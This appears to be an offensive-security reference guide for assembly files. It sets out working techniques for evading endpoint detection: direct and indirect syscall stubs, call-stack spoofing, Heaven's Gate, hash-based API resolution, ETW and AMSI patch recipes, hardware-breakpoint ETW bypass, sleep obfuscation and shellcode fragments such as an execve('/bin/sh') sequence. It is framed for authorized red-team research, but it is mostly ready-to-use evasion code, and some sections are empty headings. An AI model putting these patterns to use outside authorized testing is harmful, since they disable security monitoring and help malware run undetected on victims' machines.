Asm Offensive Patterns

Offensive Assembly Patterns

Full spectrum of low-level assembly techniques for offensive security: shellcode, loaders, BOFs, evasion primitives, and stealth infrastructure. Apply to all .asm, .s, .S files that touch evasion, injection, hooking, or stealth execution.

Scope: Authorized red team / research use only.

1. Syscall Strategies

1.1 Direct Syscall

Issue SYSCALL directly from own .text — bypasses all userland hooks. Detection risk: kernel-side ETW sees RIP outside ntdll -> high signal for modern EDRs. Use before ntdll hooks load (Early-Bird), or where kernel callbacks are not deployed.

; Windows x64 — kernel ABI: copy RCX -> R10 before syscall
NtAllocateVirtualMemory:
    mov  r10, rcx          ; kernel requires arg1 in R10, not RCX
    mov  eax, 0x18         ; SSN — varies per OS build, resolve at runtime
    syscall
    ret

; Linux x64 — RAX=num, RDI/RSI/RDX/R10/R8/R9 = args 1-6
;             kernel clobbers RCX (saved RIP) and R11 (saved RFLAGS)
asmSyscall:
    mov  rax, rdi
    mov  rdi, rsi
    mov  rsi, rdx
    mov  rdx, rcx
    syscall
    ret

1.2 Indirect Syscall (Windows)

Jump to a SYSCALL;RET gadget inside ntdll.dll. Kernel records RIP as ntdll — low signal. Stack still exposes RX region unless spoofed (see §2).

NtAllocateVirtualMemory:
    mov  r10, rcx
    mov  eax, [wSSN]           ; SSN resolved at runtime
    jmp  [pSyscallGadget]      ; -> ntdll!ZwAllocateVirtualMemory+0x12 (0F 05 C3)
wSSN:          dq 0
pSyscallGadget: dq 0

Gadget search — scan ntdll export table for byte pattern [0x0F, 0x05, 0xC3]:

for each Zw* export -> scan forward from entry until [0F 05 C3] -> record addr + SSN

1.3 SSN Resolution — Full Technique Family

DWhisper (ADE RecycleGate) — implementation notes:

1. ntdll base from GS:[0x60] PEB walk — zero Win32 API calls
2. Collect all Zw* exports; apply seeded hash to name at rest (no plaintext strings)
3. Bubble-sort by VirtualAddress; SSN(NtFoo) = ZwFoo sorted index
4. GetRecyCall: SHUFFLE export list randomly before gadget scan;
   validate bytes at [VA+18] == 0F 05 C3 (SYSCALL;RET) -> return VA+18
   Random scan order defeats behavioral timing fingerprinting per call
5. All sensitive strings (ntdll, Nt, Zw prefixes) XOR-encrypted at rest

See references/syscall-internals.md for full byte patterns, neighbor-scan algorithms, and hook detection details.

1.3.1 Invocation Modes (orthogonal to SSN resolution)

1.4 vDSO Indirect Syscall (Linux x86-64)

Dispatch via SYSCALL;RET gadget in vDSO page. Kernel records RIP in vDSO/libc — identical to glibc.

; func vdsoSyscall(num, a1, a2, a3, gadget uintptr) uintptr
vdsoSyscall:
    mov  rax, rdi              ; syscall number
    mov  rdi, rsi              ; arg1
    mov  rsi, rdx              ; arg2
    mov  rdx, rcx              ; arg3
    mov  r11, r8               ; R11 = gadget address
    call r11                   ; CALL -> gadget: SYSCALL;RET -> returns here
    ret

Finding vDSO gadget at runtime:

1. getauxval(AT_SYSINFO_EHDR) or parse /proc/self/maps for "vdso"
2. Parse ELF header at that address
3. Scan .text for bytes [0x0F, 0x05, 0xC3] — first match is gadget
4. Fallback: scan libc.so .text for [0x0F, 0x05, 0xC3]

2. Call-Stack Spoofing (Windows x64)

EDRs unwind the call stack via RtlVirtualUnwind using .pdata RUNTIME_FUNCTION entries. Goal: make the walk see ntdll!NtXxx -> KernelBase -> BaseThreadInitThunk -> RtlUserThreadStart -> 0.

2.1 Draugr-Style Synthetic Frames

Build frames bottom-up by decrementing RSP on a heap buffer (not the goroutine/thread stack):

SpoofContext layout (+offset / field):
  +0   JmpRbxGadget          — JMP [RBX] in KernelBase
  +8   BaseThreadInitThunkRet
  +16  RtlUserThreadStartRet
  +24  Frame1Size             — BaseThreadInitThunk frame size
  +32  Frame2Size             — RtlUserThreadStart frame size
  +40  TrampolineSize         — JMP [RBX] frame size (>= 0x80 for arg slots)

; Switch SP to heap buffer, then build bottom-up:
    PUSHQ $0                          ; sentinel (thread bottom)
    SUBQ  Frame2Size(R14), SP
    MOVQ  RtlUserThreadStartRet(R14), 0(SP)
    SUBQ  Frame1Size(R14), SP
    MOVQ  BaseThreadInitThunkRet(R14), 0(SP)
    SUBQ  TrampolineSize(R14), SP
    MOVQ  JmpRbxGadget(R14), 0(SP)   ; return from syscall;ret -> trampoline
    ; Set RBX -> fixup addr, copy args, CALL R15 (syscall;ret gadget)

2.2 SilentMoonwalk DESYNC + Eclipse Bypass

Diverges unwinder metadata path from execution path:

Unwinder sees:  AddRspX -> JmpRbx -> SecondFrame(PUSH_NONVOL RBP) -> FirstFrame(SET_FPREG)
Execution does: syscall;ret -> ADD RSP,X;RET (skip over ROP zone) -> JMP [RBX] -> fixup

All return addresses must be CALL-preceded (Eclipse rule) — source JMP [RBX] gadgets from wininet.dll. Gadget cascade: wininet.dll -> user32.dll -> kernelbase.dll (Eclipse-validated) -> kernelbase.dll.

DesyncContext (+offset):
  +0   AddRspXGadget         +8  AddRspXValue
  +16  JmpRbxGadget (Eclipse-validated, call-preceded)
  +24  FirstFrameRetAddr (SET_FPREG fn + call offset)
  +32  SecondFrameRetAddr (PUSH_NONVOL RBP fn + call offset)
  +40..+64: frame sizes + RbpPlantOffset

2.3 LayeredSyscall — VEH + HWBP Live Frame Capture

No pre-built fake frames; captures real call context live:

1. Set hardware breakpoint (Dr0) on target NtXxx entry point
2. Register VEH
3. Call NtXxx normally through any call site
4. VEH fires: save RSP, overwrite top-of-stack frames, restore RSP, NtContinue

2.4 Call-Gadget Insertion (2024–2025)

Insert a legitimate signed module into the observed call stack by triggering a controllable CALL gadget inside a system DLL during module loading (e.g. wininet.dll load). Breaks EDR signatures that look for specific module sequences in the stack.

1. Locate a CALL [reg] gadget in a rarely-monitored DLL (dsdmo.dll, dbghelp.dll, etc.)
2. Trigger module load (LoadLibrary or LdrLoadDll) that internally calls through the gadget
3. The gadget inserts its parent module into the call stack
4. EDR sees an unexpected but legitimate module → signature mismatch → no alert

Defeat Elastic-style rules that match unbacked_memory → ws2_32/winhttp/wininet patterns.

3. Heaven's Gate — WoW64 32->64 Mode Switch

From a 32-bit WoW64 process, execute native 64-bit code and syscalls, bypassing all 32-bit hooks:

; 32-bit code — far return to switch CS to 0x33 (64-bit segment)
    push 0x33               ; 64-bit CS selector
    push OFFSET code64      ; target 64-bit RIP
    retf                    ; far return -> CPU mode switch -> 64-bit execution

BITS 64
code64:
    ; native 64-bit: access 64-bit ntdll.dll, issue x64 syscalls directly
    ; return to 32-bit:
    push 0x23               ; 32-bit CS selector
    push eip_return         ; 32-bit EIP
    retf

Limitation: blocked by CFG if enforced; requires WoW64 process; not universal on Windows 10/11.

4. PEB Walk — IAT-Free API Resolution

; x64: TEB.ProcessEnvironmentBlock at GS:[0x60]
    mov  rax, gs:[0x60]         ; PEB*
    mov  rax, [rax + 0x18]      ; PEB->Ldr
    mov  rax, [rax + 0x20]      ; InMemoryOrderModuleList.Flink
    ; walk LIST_ENTRY, compare BaseDllName via DJB2 / FNV-1a hash

; x86: FS:[0x30]
    mov  eax, fs:[0x30]         ; PEB*
    mov  eax, [eax + 0x0C]      ; PEB->Ldr
    mov  eax, [eax + 0x14]      ; InMemoryOrderModuleList.Flink

Export table resolution after finding module base:

dos = (IMAGE_DOS_HEADER*)base
nt  = base + dos->e_lfanew
exp = nt->OptionalHeader.DataDirectory[0]  (IMAGE_EXPORT_DIRECTORY)
for i in 0..NumberOfNames:
    name = base + AddressOfNames[i]
    if hash(name) == target_hash:
        return base + AddressOfFunctions[AddressOfNameOrdinals[i]]

Hash choice:

• DJB2: h = ((h<<5)+h) + c, seed 5381 — compact, case-insensitive variant common
• FNV-1a 64-bit: fewer collisions, preferred for large export tables

Zero-string rule: never embed DLL/function names as plaintext — hash at compile time.

5. Metamorphic Encoders & Instruction Obfuscation

Morph safety: INC↔ADD 1 / DEC↔SUB 1 NOT applied (CF contract differs). CALL-POP anchor zones are size-preserving only.

See references/encoders.md for full implementation details, decoder stubs, transform catalogues, safety rules, and extended techniques.

6. Position-Independent Code (PIC) Patterns

6.1 CALL-POP Base Address

call  .next            ; pushes RIP of .next onto stack
.next:
pop   rbx              ; RBX = runtime address of ".next"
; all data offsets: [rbx + (data_label - .next)]

Anchor rule: CALL and POP must be adjacent — morphers must not insert junk between them.

6.2 RIP-Relative (x64 preferred)

lea  rax, [rel my_data]       ; NASM
lea  rax, my_data(%rip)       ; GAS

6.3 Stack-Based Strings (no data section, no nulls)

; "cmd\0" pushed via imm64 (no embedded null in instruction stream)
xor  rax, rax
push rax                       ; null terminator
mov  rax, 0x646d63             ; "cmd" little-endian
push rax
mov  rcx, rsp                  ; ptr to "cmd\0"

6.4 AlignRSP Stub (shellcode entry)

; Ensures 16-byte RSP alignment before calling shellcode entry
AlignRSP:
    push rsi
    mov  rsi, rsp
    and  rsp, -16              ; align down to 16 bytes
    sub  rsp, 0x20             ; Win64 homing space
    call main
    mov  rsp, rsi
    pop  rsi
    ret

7. ETW & AMSI Patching

7.1 Patch NtTraceEvent (or EtwEventWriteFull)

1. Resolve ntdll!NtTraceEvent via PEB walk (hash-based)
2. VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &old)
3. Write 0xC3 (RET) or [48 31 C0 C3] (xor rax,rax; ret) for NTSTATUS=0
4. VirtualProtect(addr, 1, old, &discard)

7.2 Patch AmsiScanBuffer (flip conditional)

offset = &AmsiScanBuffer + 0x83   ; platform-dependent — verify at runtime
patch: 0x74 -> 0x75               ; JZ -> JNZ (always return AMSI_RESULT_CLEAN)

7.3 Patchless ETW via HWBP + VEH (no VirtualProtect IOC)

Set Dr0 = &ntdll!NtTraceEvent, configure Dr7 (bit 0 = local enable, bits 16-17 = execute)
Register VEH: on EXCEPTION_SINGLE_STEP at Dr0:
    ctx->Rax = 0                 ; STATUS_SUCCESS
    ctx->Rip += 6                ; skip SYSCALL (0F 05) + following byte
    ctx->EFlags &= ~0x100        ; clear TF
    re-set Dr7 if needed
    return EXCEPTION_CONTINUE_EXECUTION

8. Sleep Obfuscation

Goal: encrypt/NX payload in memory during idle so in-memory scanners find nothing.

8.3 Variants & Detection

• Cronos: RC4 full-process encryption via waitable timers
• Foliage: APC-based ROP dispatch + encryption
• DeathSleep: removes all RX memory, restores from encrypted backup
• Detection: CFG bitmap records pages that were ever RX. Mitigation: double-map (see advanced-evasion.md §2)

See references/advanced-evasion.md §2 for full sleep obfuscation evolution.

9. ARM64 Syscall Patterns

9.1 macOS ARM64 (BSD class = 0x2000000)

; write(1, buf, 5)
mov  x0,  #1
adr  x1,  msg
mov  x2,  #5
movz x16, #0x4
movk x16, #0x2000, lsl #16    ; x16 = 0x2000004 (BSD write)
svc  #0x80

; execve("/bin/sh", argv=NULL, envp=NULL)
adr  x0,  sh_path
eor  x1,  x1, x1
eor  x2,  x2, x2
movz x16, #0x3b
movk x16, #0x2000, lsl #16    ; x16 = 0x200003b
svc  #0x80

Syscall class encoding: x16 = (class << 24) | number. BSD class = 2.

9.2 Linux ARM64

; write syscall (nr=64)
mov  x8,  #64
mov  x0,  #1               ; fd
adr  x1,  msg              ; buf (use ADR for PIC)
mov  x2,  #12              ; len
svc  #0

10. Code Injection Techniques

See references/injection-techniques.md for detailed implementation steps and code patterns.

11. Anti-Detection Checklist

12. Common ASM Pitfalls

Bugs that silently break shellcode or trigger EDR:

Resources